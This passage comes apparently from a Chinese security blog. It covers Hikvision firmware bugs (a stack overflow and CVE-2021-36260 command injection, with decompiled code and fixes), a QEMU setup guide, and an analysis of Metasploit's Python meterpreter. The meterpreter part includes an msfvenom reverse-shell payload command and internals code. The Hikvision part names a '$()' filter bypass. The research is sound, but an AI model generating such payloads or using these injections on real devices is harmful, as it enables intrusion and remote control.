可以发现 s1 在 [bp-378h] 的位置，而 URL 的长度为 0x400，如果输入长度为 0x400 的 URL 就会导致栈溢出。理论上通过 ROP 即可达成利用。</p>
CVE-2021-36260</h2>
在 5.4.5 版本的固件中，出现漏洞的代码如下。可以看到程序使用了格式化字符串拼接命令，并且未对用户输入进行过滤，造成命令注入。具体的利用方法请参考 Refs</a> 中的 "hikvision CVE-2021-36260 分析以及教训"</p>

在 5.5 版本的固件中，海康加入了 filter_quotation_and_punctuation_mark</code> 函数来过滤用户输入，但是还是可以通过 "$()" 进行绕过，直到漏洞爆出后加入了 hwif_is_all_language_character_legal</code> 函数才完全修复。</p>
</blockquote>
int</span> __fastcall </span>hwif_language_load</span>(</span>const</span> char</span> *</span>a1</span>)</span></span>
{</span></span>
  char</span> s</span>[</span>32</span>]</span>;</span> //</span> [sp+10h] [bp-138h] BYREF</span></span>
  char</span> v4</span>[</span>280</span>]</span>;</span> //</span> [sp+30h] [bp-118h] BYREF</span></span>
</span>
  memset</span>(</span>s</span>,</span> 0</span>,</span> sizeof</span>(</span>s</span>)</span>)</span>;</span></span>
  if</span> (</span> a1 </span>)</span></span>
  {</span></span>
    if</span> (</span> strlen</span>(</span>a1</span>)</span> <=</span> 5</span> )</span></span>
    {</span></span>
      snprintf</span>(</span>s</span>,</span> 0x</span>1F</span>u</span>,</span> "</span>%s</span>%s</span>"</span>,</span> "</span>/home/webLib/doc/i18n/</span>"</span>,</span> a1</span>)</span>;</span></span>
      if</span> (</span> !</span>sub_103538</span>(</span>s</span>)</span> )</span></span>
      {</span></span>
        dev_debug_v1</span>(</span>5</span>,</span> 38</span>,</span> "</span>hardwareif/r6_s2lm/unihardwareif.c</span>"</span>,</span> 482</span>,</span> "</span>hwif_language_load</span>"</span>,</span> "</span>%s</span> exist!</span>\n</span>"</span>,</span> s</span>)</span>;</span></span>
        return</span> 0</span>;</span></span>
      }</span></span>
      memset</span>(</span>s</span>,</span> 0</span>,</span> sizeof</span>(</span>s</span>)</span>)</span>;</span></span>
      snprintf</span>(</span>s</span>,</span> 0x</span>1F</span>u</span>,</span> "</span>/dav/IElang.tar </span>%s</span>.tar.gz</span>"</span>,</span> a1</span>)</span>;</span></span>
      memset</span>(</span>v4</span>,</span> 0</span>,</span> 0x</span>100</span>u</span>)</span>;</span></span>
      snprintf</span>(</span></span>
        v4</span>,</span></span>
        0x</span>FF</span>u</span>,</span></span>
        "</span>tar -xf </span>%s</span> -C </span>%s</span>; tar -zxf </span>%s</span>%s</span>.tar.gz -C </span>%s</span>"</span>,</span></span>
        s</span>,</span></span>
        "</span>/home/webLib/doc/i18n/</span>"</span>,</span></span>
        "</span>/home/webLib/doc/i18n/</span>"</span>,</span></span>
        a1</span>,</span></span>
        "</span>/home/webLib/doc/i18n/</span>"</span>)</span>;</span></span>
      if</span> (</span> system</span>(</span>v4</span>)</span> >=</span> 0</span> )</span></span>
      //</span> ...</span></span></code></pre>总结</h2>
从开发的角度来说，这三个漏洞都是完全可以避免的漏洞，第二个漏洞可以通过给格式化字符串加上长度限制，例如 "%16s"，来防止栈溢出。第三个漏洞可以通过加强对用户输入的校验，或者使用 "fork + execve" 进行执行程序，而不是使用 system 函数，来规避命令注入。</p>
从漏洞挖掘的角度来说，可以去追踪 system, popen 等函数的输入用户是否可控，来发现命令注入漏洞。通过加强污点分析，或者人肉分析 "scanf", "gets" 等和内存直接交互的函数，判断用户输入是否会影响内存中的数据存取，从而发现栈溢出漏洞和命令注入漏洞。</p>
Refs</h2>

(转载文章)Hik or hack? (NOT) IoT Security Using Hikvision IP Cameras</a></li>
https://ipcamtalk.com/threads/mcr-hikvision-packer-unpacker-for-5-3-x-and-newer-firmware.15710/page-15#post-387358</a></li>
https://github.com/HaToan/Decrypt-Firmware-Hikvision</a></li>
https://github.com/MatrixEditor/hiktools/</a></li>
Hikvision IP Camera Access Bypass</a></li>
https://blog.vdoo.com/2018/11/13/significant-vulnerability-in-hikvision-cameras/</a>

虹科案例 | 安全性防护平台-海康威视摄像机中的重大漏洞</a></li>
</ul>
</li>
hikvision CVE-2021-36260 分析以及教训</a></li>
</ul>


QEMU 简易配置（CPU/内存/网络/...）
2023-02-19T00:00:00+00:00
从大学开始，我看过了一堆的 QEMU 配置的文章，这些文章要不就是从别的地方复制黏贴出来的，要不就是使用了已经停止维护的工具。所以我决定从网上找一手资料（QEMU Wiki，文档, man qemu，...）来写一篇文章来讲讲怎么简单的配置 QEMU 模拟虚拟机。在文章的最后放了最终运行的命令，大家复制了保存成脚本就可以使用，或者根据自己的要求来配置。（这个脚本已经经过 2 个人使用了，很好用 233）</p>
CPU 配置</h2>
下面的选项开启 KVM 全虚拟化支持，能提升虚拟机的速度。</p>
--enable-kvm</span></span></code></pre>
下面的 CPU 设置选项，是让模拟出来的 CPU 支持主机支持的所有选项。</p>
-cpu</span> host</span></span></code></pre>
下面的选项是指定 SMP（可以简单理解为模拟 CPU 的核数）</p>
-smp</span> 4</span></span></code></pre>内存</h2>
下面的选项是指定内存大小。这里我分配了 4G 内存给虚拟机。</p>
-m</span> 4096M</span></span></code></pre>网络</h2>
QEMU 将网络支持分成了 2 个部分，一部分是给虚拟机（guest）提供的虚拟网络设备（virtual network device），一部分是与模拟 NIC 交互的网络后端（network backend）。QEMU 在默认配置下提供了 SLiRP 后端，在使用这个后端的情况下， ICMP 协议没法工作，也就是没法 ping,但是 TCP 和 UDP 是可以正常工作的。</p>
在网络后端这一层，我们选择 tap</a>。因为 tap 是在 Linux 内核层面支持的，性能比较好，而且可以支持 ICMP/IP 层协议。需要注意的是 ifname 的参数 "tap6" 是我们创建 tap 设备名字。下面是相关参数。</p>
-netdev</span> tap,id=net0,ifname=tap6,script=no,downscript=no</span></span></code></pre>
QEMU 可以模拟很多的虚拟网络设备，这里我们选择模拟 e1000 网卡。需要注意的是 netdev 的参数需要和前面配置的 netdev 中的 id 对上，这里我们的 netdev 参数为 "net0"。在 mac 参数中，将 MAC 配置成 "52:55:00:d1:55:00"。下面是相关参数。</p>
-device</span> e1000,netdev=net0,mac=52:55:00:d1:55:00</span></span></code></pre>如何创建 tap 设备</h3>
上面的参数需要手动创建 tap 设备才能使用。通过下面的命令既可以创建设备名叫 "tap6" 的设备，并且将 IP 设置在 "192.168.122.1"。下面命令的主要操作就是创建 tap 设备，设置 IP，并且启用设备。</p>
IP</span>=</span>1</span>9</span>2</span>.</span>1</span>6</span>8</span>.</span>1</span>2</span>2</span>.</span>1</span>/</span>2</span>4</span></span>
ip</span> tuntap</span> add</span> tap6</span> mode</span> tap</span></span>
ip</span> addr</span> add</span> $</span>IP</span> dev</span> tap6</span></span>
ip</span> link</span> set</span> tap6</span> up</span></span></code></pre>
如果需要让虚拟机和外网相连接的话，还需要下面的命令，来创建网桥，使得虚拟机 tap 设备和宿主机网卡相连。</p>
ip</span> link</span> add</span> br0</span> type</span> bridge</span></span>
ip</span> link</span> set</span> dev</span> tap6</span> master</span> br0</span></span>
ip</span> link</span> set</span> dev</span> eth0</span> master</span> br0</span></span>
ip</span> link</span> set</span> dev</span> br0</span> up</span></span></code></pre>使用 dnsmasq 配置 DHCP</h3>
如果需要让虚拟机走 DHCP 协议获取 IP 的话，最简单的方式就是在宿主机上使用 dnsmasq 来给虚拟机分配 IP。下面是 dnsmasq 的配置，配合上面的 IP 配置，可以让宿主机的 IP 设置为 192.168.122.1，虚拟机的 IP 在 192.168.122.2,192.168.122.200 这个范围内。</p>
listen-address=192.168.122.1</span></span>
dhcp-range=192.168.122.2,192.168.122.200</span></span></code></pre>别的选项</h3>
下面的选项开启 GDB 远程调试。在 GDB 里使用 target remote :5555</code> 即可连接。</p>
-gdb</span> tcp::5555</span></span></code></pre>最后成果</h2>
network.sh 脚本，需要 root 权限运行，并且需要配置 dnsmasq 启用 DHCP 服务。</p>
#!</span>/usr/bin/env bash</span></span>
set</span> -</span>x</span></span>
</span>
IP</span>=</span>1</span>9</span>2</span>.</span>1</span>6</span>8</span>.</span>1</span>2</span>2</span>.</span>1</span>/</span>2</span>4</span></span>
ip</span> tuntap</span> add</span> tap6</span> mode</span> tap</span></span>
ip</span> addr</span> add</span> $</span>IP</span> dev</span> tap6</span></span>
ip</span> link</span> set</span> tap6</span> up</span>  #</span> Check again when VM boot finish</span></span>
dnsmasq</span></span></code></pre>
boot.sh 脚本，通过 boot.sh $虚拟机镜像名字</code> 来运行虚拟机。</p>
#!</span>/usr/bin/env bash</span></span>
set</span> -</span>x</span></span>
</span>
qemu-system-x86_64</span> \</span></span>
  -</span>-enable-kvm</span> \</span></span>
  -</span>m</span> 4096M</span> \</span></span>
  -</span>cpu</span> host</span> \</span></span>
  -</span>smp</span> 4</span> \</span></span>
  -</span>netdev</span> tap,id=net0,ifname=tap6,script=no,downscript=no</span> \</span></span>
  -</span>device</span> e1000,netdev=net0,mac=52:55:00:d1:55:00</span> \</span></span>
  $</span>1</span></span></code></pre>Refs</h2>

man qemu</code></li>
https://wiki.qemu.org/Documentation/Networking</a></li>
</ul>


meterpreter 简要分析
2022-10-23T00:00:00+00:00
meterpreter 是 metasploit 里自带的一款远程控制工具，具有正向/反向连接模式，并且功能强大，所以想分析下其实现。</p>

2022-10-23 初版博文发布</li>
2023-01-21 加入端口转发功能的实现分析</li>
</ul>
获取代码</h2>
meterpreter 的本体有很多种语言的实现，包括 C 实现的 mettle</a>,还有在 metasploit-payloads</a> 仓库里的 Python/PHP/Java 实现。这里选择 Python 实现。并且由于代码块中存在很多等待 Patch 的地方，所以这里直接用 msfvenom 生成一个。</p>
msfvenom</span> -</span>-payload</span> python/meterpreter/reverse_tcp</span> LHOST=</span>192.168.92.1</span> LPORT=</span>4444</span></span></code></pre>简要分析</h2>
分析前准备</h3>
在代码中有开启日志的选项，并且还有去除启动时 fork</code> 的选项，为了调试，把这两个选项修改成如下</p>
#</span> these values will be patched, DO NOT CHANGE THEM</span></span>
DEBUGGING</span> =</span> True</span></span>
DEBUGGING_LOG_FILE_PATH</span> =</span> None</span></span>
TRY_TO_FORK</span> =</span> False</span></span></code></pre>
接下来启动就可以看到相关的日志了。</p>
~/d/t/meterpreter > python3 download.py                            </span></span>
download.py:1713: DeprecationWarning: the imp module is deprecated in favour of importlib and slated for removal in Python 3.12; see the module's documentation for alternative uses</span></span>
  import codecs,imp,base64,zlib</span></span>
DEBUG:root:[*] running method core_negotiate_tlv_encryption</span></span>
DEBUG:root:[*] Negotiating TLV encryption</span></span>
DEBUG:root:[*] RSA key: 30820122300d06092a864886f70d01010105000382010f003082010a02820101009c3090c560a4e0b23b9b2141a48c6cbd42a67bde619931791e76b1a758761e061f2f50cfffe4c6eb47d2d15f07b2b0aed95c7c084d9d6b158e332126efbb4cebefc39979ca7a76fdba1291861e070b669f6febb795ada48b20e84356a6bb3daf7f74b179124ec87b08291e2a8e9f414a27b4e7dbbe3027a8d720cb46f6837f90747982c5b8cfa1ae8ee305203764b606f027da70a83f11a850cd6a4f4052eb85574c934ef5d50455b5cc822a23f0a9e6c44a305bf197216531ad6ac18adf1aa33042441a1fce964ed57da2ad6075d13787f4f9d17e69a35eb0a6fe10872e89eeb230bc0a15183618990933e786b952dd4783d299fd53e147421d442225f4d1470203010001</span></span>
DEBUG:root:[*] AES key: 0x6ea0dd43076cdf8f560b094816af9fa8daa9bb8e15016f10370c69654970dd20</span></span>
DEBUG:root:[*] Encrypted AES key: 0x676a4db54a6852f7c50566aceebd4c12f532ae763a9038e8c8c4a8f3f868f03cfd8b264aae861997dfa0eb4127edf2496ba252acfea0ad08f89e9e65ac196dea6b99b5af6982bfcbf77b9f59ef7bf8b59271ece5dc91209055ac9985361edbcd36fcedea212c0bf07adf36d319dfcc040b9a6869695c185a078466f8640f2581135c10ea8aeb2ec13053d5a89ab4b8388cf5df0b2e39671f885188469d5c776a9dded0277017e1bb693965d7eec66ade6df7597206544ad72a5c4ebc199275f40d02e5d270968e4a586946e35f51752a7d267d5e4df783a61fb6a21290f06d2879eec42d30de7e9550d54e73a11d42e42538131c90b7e7a60b6dc751884bb94e</span></span>
DEBUG:root:[*] TLV encryption sorted</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_set_session_guid</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_enumextcmd</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_enumextcmd</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_loadlib</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_fs_getwd</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_sys_config_getuid</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_sys_config_sysinfo</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_set_uuid</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_net_config_get_interfaces</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_net_config_get_routes</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_channel_eof</span></span>
DEBUG:root:[-] method core_channel_eof resulted in error: #1</span></span>
DEBUG:root:[*] running method stdapi_fs_getwd</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_fs_stat</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_fs_ls</span></span>
DEBUG:root:[*] sending response packet</span></span></code></pre>协议部分</h3>
在接收数据时，程序主要是通过 Transport</code> 类进行通信，并对通信数据的解密，得到的二进制数据通过 packet_get_tlv</code> 函数进行解析。在返回数据时，则是通过 tlv_pack</code> 函数将 TLV Packet 转换成二进制数据，并通过 Transport</code> 类对数据进行加密通信。</p>
Transport 类</h4>
程序会通过 Transport</code> 类进行通信，这个类会对通信数据使用 xor/AES 进行混淆。而 TcpTransport</code>/HttpTransport</code> 通过多态，重载 _send_packet</code> 和 _get_packet</code> 方法，来实现在不同的底层协议下的通信。这个协议前 4 字节是 XOR 的密钥，然后后 4 字节是这个 Packet 的长度，通过 XOR 解密长度后，继续从 socket 中读取，就可以取得整个 Packet 的数据。</p>
class</span> TcpTransport</span>(</span>Transport</span>)</span>:</span></span>
    #</span> ...省略别的方法...</span></span>
</span>
    def</span> _get_packet</span>(</span>self</span>)</span>:</span></span>
        first</span> =</span> self</span>.</span>_first_packet</span></span>
        self</span>.</span>_first_packet</span> =</span> False</span></span>
        if</span> not</span> select</span>.</span>select</span>(</span>[</span>self</span>.</span>socket</span>]</span>,</span> [</span>]</span>,</span> [</span>]</span>,</span> 0.5</span>)</span>[</span>0</span>]</span>:</span></span>
            return</span> bytes</span>(</span>)</span></span>
        packet</span> =</span> self</span>.</span>socket</span>.</span>recv</span>(</span>PACKET_HEADER_SIZE</span>)</span></span>
        if</span> packet</span> ==</span> '</span>'</span>:</span>  #</span> remote is closed</span></span>
            self</span>.</span>request_retire</span> =</span> True</span></span>
            return</span> None</span></span>
        if</span> len</span>(</span>packet</span>)</span> !=</span> PACKET_HEADER_SIZE</span>:</span></span>
            if</span> first</span> and</span> len</span>(</span>packet</span>)</span> ==</span> 4</span>:</span></span>
                #</span> 省略设置超时的代码</span></span>
                pass</span></span>
            return</span> None</span></span>
</span>
        xor_key</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>BBBB</span>'</span>,</span> packet</span>[</span>:</span>PACKET_XOR_KEY_SIZE</span>]</span>)</span></span>
        #</span> XOR the whole header first</span></span>
        header</span> =</span> xor_bytes</span>(</span>xor_key</span>,</span> packet</span>[</span>:</span>PACKET_HEADER_SIZE</span>]</span>)</span></span>
        #</span> Extract just the length</span></span>
        pkt_length</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>>I</span>'</span>,</span> header</span>[</span>PACKET_LENGTH_OFF</span>:</span>PACKET_LENGTH_OFF</span>+</span>PACKET_LENGTH_SIZE</span>]</span>)</span>[</span>0</span>]</span></span>
        pkt_length</span> -=</span> 8</span></span>
        #</span> Read the rest of the packet</span></span>
        rest</span> =</span> bytes</span>(</span>)</span></span>
        while</span> len</span>(</span>rest</span>)</span> <</span> pkt_length</span>:</span></span>
            rest</span> +=</span> self</span>.</span>socket</span>.</span>recv</span>(</span>pkt_length</span> -</span> len</span>(</span>rest</span>)</span>)</span></span>
        #</span> return the whole packet, as it's decoded separately</span></span>
        return</span> packet</span> +</span> rest</span></span>
</span>
    def</span> _send_packet</span>(</span>self</span>,</span> packet</span>)</span>:</span></span>
        self</span>.</span>socket</span>.</span>send</span>(</span>packet</span>)</span></span></code></pre>
上面重载的 2 个方法都是私有成员，所以在别的类中，调用 get_packet</code> 才能获取 Packet 数据。在 get_packet</code> 中，则是先调用 _get_packet</code> 函数获得数据，然后调用 decrypt_packet</code> 进行解密。</p>
class</span> Transport</span>(</span>object</span>)</span>:</span></span>
    #</span> ...</span></span>
</span>
    def</span> decrypt_packet</span>(</span>self</span>,</span> pkt</span>)</span>:</span></span>
        if</span> pkt</span> and</span> len</span>(</span>pkt</span>)</span> ></span> PACKET_HEADER_SIZE</span>:</span></span>
            xor_key</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>BBBB</span>'</span>,</span> pkt</span>[</span>:</span>PACKET_XOR_KEY_SIZE</span>]</span>)</span></span>
            raw</span> =</span> xor_bytes</span>(</span>xor_key</span>,</span> pkt</span>)</span></span>
            enc_offset</span> =</span> PACKET_XOR_KEY_SIZE</span> +</span> PACKET_SESSION_GUID_SIZE</span></span>
            enc_flag</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>>I</span>'</span>,</span> raw</span>[</span>enc_offset</span>:</span>enc_offset</span>+</span>PACKET_ENCRYPT_FLAG_SIZE</span>]</span>)</span>[</span>0</span>]</span></span>
            if</span> enc_flag</span> ==</span> ENC_AES256</span>:</span></span>
                iv</span> =</span> raw</span>[</span>PACKET_HEADER_SIZE</span>:</span>PACKET_HEADER_SIZE</span>+</span>16</span>]</span></span>
                encrypted</span> =</span> raw</span>[</span>PACKET_HEADER_SIZE</span>+</span>len</span>(</span>iv</span>)</span>:</span>]</span></span>
                return</span> met_aes_decrypt</span>(</span>self</span>.</span>aes_key</span>,</span> iv</span>,</span> encrypted</span>)</span></span>
            else</span>:</span></span>
                return</span> raw</span>[</span>PACKET_HEADER_SIZE</span>:</span>]</span></span>
        return</span> None</span></span>
</span>
    def</span> get_packet</span>(</span>self</span>)</span>:</span></span>
        self</span>.</span>request_retire</span> =</span> False</span></span>
        try</span>:</span></span>
            pkt</span> =</span> self</span>.</span>decrypt_packet</span>(</span>self</span>.</span>_get_packet</span>(</span>)</span>)</span></span>
        except</span>:</span></span>
            debug_traceback</span>(</span>)</span></span>
            return</span> None</span></span>
        if</span> pkt</span> is</span> None</span>:</span></span>
            return</span> None</span></span>
        self</span>.</span>communication_last</span> =</span> time</span>.</span>time</span>(</span>)</span></span>
        return</span> pkt</span></span></code></pre>TLV 协议</h4>
meterpreter 使用的是 TLV 协议进行通信，整个 Packet 由 3 部分组成，前 4 个字节是 Packet 长度，后 4 个字节是 Packet 类型，剩下的字节则是数据。下面是解析数据的代码。将原始 Packet 数据传递给 packet_get_tlv</code> 函数，返回值是包含解析后数据的 dict。</p>
@</span>export</span></span>
def</span> packet_enum_tlvs</span>(</span>pkt</span>,</span> tlv_type</span>=</span>None</span>)</span>:</span></span>
    offset</span> =</span> 0</span></span>
    while</span> offset</span> <</span> len</span>(</span>pkt</span>)</span>:</span></span>
        tlv</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>>II</span>'</span>,</span> pkt</span>[</span>offset</span>:</span>offset</span> +</span> 8</span>]</span>)</span></span>
        if</span> tlv_type</span> is</span> None</span> or</span> (</span>tlv</span>[</span>1</span>]</span> &</span> ~</span>TLV_META_TYPE_COMPRESSED</span>)</span> ==</span> tlv_type</span>:</span></span>
            val</span> =</span> pkt</span>[</span>offset</span> +</span> 8</span>:</span>(</span>offset</span> +</span> 8</span> +</span> (</span>tlv</span>[</span>0</span>]</span> -</span> 8</span>)</span>)</span>]</span></span>
            if</span> (</span>tlv</span>[</span>1</span>]</span> &</span> TLV_META_TYPE_STRING</span>)</span> ==</span> TLV_META_TYPE_STRING</span>:</span></span>
                val</span> =</span> str</span>(</span>val</span>.</span>split</span>(</span>NULL_BYTE</span>,</span> 1</span>)</span>[</span>0</span>]</span>)</span></span>
            elif</span> (</span>tlv</span>[</span>1</span>]</span> &</span> TLV_META_TYPE_UINT</span>)</span> ==</span> TLV_META_TYPE_UINT</span>:</span></span>
                val</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>>I</span>'</span>,</span> val</span>)</span>[</span>0</span>]</span></span>
            elif</span> (</span>tlv</span>[</span>1</span>]</span> &</span> TLV_META_TYPE_QWORD</span>)</span> ==</span> TLV_META_TYPE_QWORD</span>:</span></span>
                val</span> =</span> struct</span>.</span>unpack</span>(</span>'</span>>Q</span>'</span>,</span> val</span>)</span>[</span>0</span>]</span></span>
            elif</span> (</span>tlv</span>[</span>1</span>]</span> &</span> TLV_META_TYPE_BOOL</span>)</span> ==</span> TLV_META_TYPE_BOOL</span>:</span></span>
                val</span> =</span> bool</span>(</span>struct</span>.</span>unpack</span>(</span>'</span>b</span>'</span>,</span> val</span>)</span>[</span>0</span>]</span>)</span></span>
            elif</span> (</span>tlv</span>[</span>1</span>]</span> &</span> TLV_META_TYPE_RAW</span>)</span> ==</span> TLV_META_TYPE_RAW</span>:</span></span>
                pass</span></span>
            yield</span> {</span>'</span>type</span>'</span>:</span> tlv</span>[</span>1</span>]</span>,</span> '</span>length</span>'</span>:</span> tlv</span>[</span>0</span>]</span>,</span> '</span>value</span>'</span>:</span> val</span>}</span></span>
        offset</span> +=</span> tlv</span>[</span>0</span>]</span></span>
    return</span></span>
</span>
@</span>export</span></span>
def</span> packet_get_tlv</span>(</span>pkt</span>,</span> tlv_type</span>)</span>:</span></span>
    try</span>:</span></span>
        tlv</span> =</span> list</span>(</span>packet_enum_tlvs</span>(</span>pkt</span>,</span> tlv_type</span>)</span>)</span>[</span>0</span>]</span></span>
    except</span> IndexError</span>:</span></span>
        return</span> {</span>}</span></span>
    return</span> tlv</span></span></code></pre>
需要注意的是类型(Type)字段则是由不同 meta-type 组成的，包括 TLV_META_TYPE_STRING</code> TLV_META_TYPE_UINT</code> 等类型。而在程序通信时真正会用到的类型，则是由 meta-type 和 identifier 组成。这样做的目的是可以让程序对类型进行校验。可以看到下面的代码中，TLV_TYPE_CHANNEL_ID</code> 是由 TLV_META_TYPE_UINT</code> 和标识 50 组成的。</p>
#</span> ...</span></span>
TLV_META_TYPE_UINT</span>       =</span> (</span>1</span> <<</span> 17</span>)</span></span>
#</span> ...</span></span>
TLV_TYPE_CHANNEL_ID</span>            =</span> TLV_META_TYPE_UINT</span>    |</span> 50</span></span></code></pre>开始部分</h3>
下面是代码最先运行的部分，可以看到是进行了 fork</code>，并 setsid</code> 让程序运行在后台，然后就是使用 socket 监听 4444 端口。收到连接时，使用 TcpTransport</code> 建立一个 Transport</code> 之后进入 PythonMeterpreter</code> 进行主要交互逻辑。</p>
_try_to_fork</span> =</span> TRY_TO_FORK</span> and</span> hasattr</span>(</span>os</span>,</span> '</span>fork</span>'</span>)</span></span>
if</span> not</span> _try_to_fork</span> or</span> (</span>_try_to_fork</span> and</span> os</span>.</span>fork</span>(</span>)</span> ==</span> 0</span>)</span>:</span></span>
    if</span> hasattr</span>(</span>os</span>,</span> '</span>setsid</span>'</span>)</span>:</span></span>
        try</span>:</span></span>
            os</span>.</span>setsid</span>(</span>)</span></span>
        except</span> OSError</span>:</span></span>
            pass</span></span>
    #</span> ...</span></span>
    bind_sock</span> =</span> socket</span>.</span>socket</span>(</span>socket</span>.</span>AF_INET</span>,</span> socket</span>.</span>SOCK_STREAM</span>)</span></span>
    bind_sock</span>.</span>bind</span>(</span>(</span>'</span>0.0.0.0</span>'</span>,</span> 4444</span>)</span>)</span></span>
    bind_sock</span>.</span>listen</span>(</span>1</span>)</span></span>
    s</span>,</span> address</span> =</span> bind_sock</span>.</span>accept</span>(</span>)</span></span>
    transport</span> =</span> TcpTransport</span>.</span>from_socket</span>(</span>s</span>)</span></span>
    met</span> =</span> PythonMeterpreter</span>(</span>transport</span>)</span></span>
    #</span> PATCH-SETUP-TRANSPORTS #</span></span>
    met</span>.</span>run</span>(</span>)</span></span></code></pre>PythonMeterpreter</h3>
这个类是真正负责逻辑交互的类。主要循环在 run</code> 函数中，函数主要是获取 TLV Packet 数据，然后在 create_response</code> 函数中解析数据，调用相关的处理函数，获得返回值，最后发送回复。然后是遍历 channel 读取和发送数据，从 channel 中读取数据后，发送给控制端。channel 的设计在后文中会讲解。</p>
class</span> PythonMeterpreter</span>(</span>object</span>)</span>:</span></span>
    def</span> run</span>(</span>self</span>)</span>:</span></span>
        while</span> self</span>.</span>running</span> and</span> not</span> self</span>.</span>session_has_expired</span>:</span></span>
            request</span> =</span> self</span>.</span>get_packet</span>(</span>)</span></span>
            if</span> request</span>:</span></span>
                response</span> =</span> self</span>.</span>create_response</span>(</span>request</span>)</span></span>
                if</span> response</span>:</span></span>
                    self</span>.</span>send_packet</span>(</span>response</span>)</span></span>
            #</span> iterate over the keys because self.channels could be modified if one is closed</span></span>
            channel_ids</span> =</span> list</span>(</span>self</span>.</span>channels</span>.</span>keys</span>(</span>)</span>)</span></span>
            for</span> channel_id</span> in</span> channel_ids</span>:</span></span>
                channel</span> =</span> self</span>.</span>channels</span>[</span>channel_id</span>]</span></span>
                data</span> =</span> bytes</span>(</span>)</span></span>
                write_request_parts</span> =</span> [</span>]</span></span>
                if</span> isinstance</span>(</span>channel</span>,</span> MeterpreterProcess</span>)</span>:</span></span>
                    #</span> ...</span></span>
                    pass</span></span>
                #</span> ...</span></span>
                if</span> data</span>:</span></span>
                    write_request_parts</span>.</span>extend</span>(</span>[</span></span>
                        {</span>'</span>type</span>'</span>:</span> TLV_TYPE_CHANNEL_ID</span>,</span> '</span>value</span>'</span>:</span> channel_id</span>}</span>,</span></span>
                        {</span>'</span>type</span>'</span>:</span> TLV_TYPE_CHANNEL_DATA</span>,</span> '</span>value</span>'</span>:</span> data</span>}</span>,</span></span>
                        {</span>'</span>type</span>'</span>:</span> TLV_TYPE_LENGTH</span>,</span> '</span>value</span>'</span>:</span> len</span>(</span>data</span>)</span>}</span>,</span></span>
                    ]</span>)</span></span>
                    self</span>.</span>send_packet</span>(</span>tlv_pack_request</span>(</span>'</span>core_channel_write</span>'</span>,</span> write_request_parts</span>)</span>)</span></span></code></pre>MeterpreterChannel</h3>
Channel 是 meterpreter 运行程序，开启端口转发等功能时，进行交互的“通道”，这样的设计可以让其同时运行不同的功能，而不阻塞和用户之间的交互。在下面的代码中可以看到，Channel 和 meterpreter 之间的读写，也是通过 TLV 协议进行交互的。</p>
不同功能的 Channel 通过重载 MeterpreterChannel</code> 的 read</code> 和 write</code> 等方法，实现不同的交互。</p>
class</span> MeterpreterChannel</span>(</span>object</span>)</span>:</span></span>
    #</span> ...</span></span>
</span>
    def</span> core_read</span>(</span>self</span>,</span> request</span>,</span> response</span>)</span>:</span></span>
        length</span> =</span> packet_get_tlv</span>(</span>request</span>,</span> TLV_TYPE_LENGTH</span>)</span>[</span>'</span>value</span>'</span>]</span></span>
        response</span> +=</span> tlv_pack</span>(</span>TLV_TYPE_CHANNEL_DATA</span>,</span> self</span>.</span>read</span>(</span>length</span>)</span>)</span></span>
        return</span> ERROR_SUCCESS</span>,</span> response</span></span>
</span>
    def</span> core_write</span>(</span>self</span>,</span> request</span>,</span> response</span>)</span>:</span></span>
        channel_data</span> =</span> packet_get_tlv</span>(</span>request</span>,</span> TLV_TYPE_CHANNEL_DATA</span>)</span>[</span>'</span>value</span>'</span>]</span></span>
        response</span> +=</span> tlv_pack</span>(</span>TLV_TYPE_LENGTH</span>,</span> self</span>.</span>write</span>(</span>channel_data</span>)</span>)</span></span>
        return</span> ERROR_SUCCESS</span>,</span> response</span></span>
</span>
class</span> MeterpreterSocket</span>(</span>MeterpreterChannel</span>)</span>:</span></span>
    #</span> ...</span></span>
</span>
    def</span> read</span>(</span>self</span>,</span> length</span>)</span>:</span></span>
        return</span> self</span>.</span>sock</span>.</span>recv</span>(</span>length</span>)</span></span>
</span>
    def</span> write</span>(</span>self</span>,</span> data</span>)</span>:</span></span>
        return</span> self</span>.</span>sock</span>.</span>send</span>(</span>data</span>)</span></span></code></pre>core 和 stdapi</h3>
core 是 meterpreter 的基础功能，包括 channel 和 transport 的管理等功能。这些功能的实现是在 PythonMeterpreter</code> 类中以 "_core" 开头的函数，在类初始化时加入到 extension_functions</code> dict 中供后续调用。而 stdapi 则是平时用到的扩展功能，包括上传/下载文件等功能，通过 core_loadlib</code> 功能进行动态载入。</p>
功能分析</h2>
端口转发</h3>
开启端口转发后，访问端口可以看到下面的日志，配合日志可以对代码进行分析。</p>
DEBUG:root:[*] running method core_channel_open</span></span>
DEBUG:root:[*] core_channel_open dispatching to handler: channel_open_stdapi_net_tcp_client</span></span>
DEBUG:root:[*] added channel id: 2 type: MeterpreterSocketTCPClient</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method core_channel_write</span></span>
DEBUG:root:[*] sending response packet</span></span>
DEBUG:root:[*] running method stdapi_net_socket_tcp_shutdown</span></span>
DEBUG:root:[*] sending response packet</span></span></code></pre>
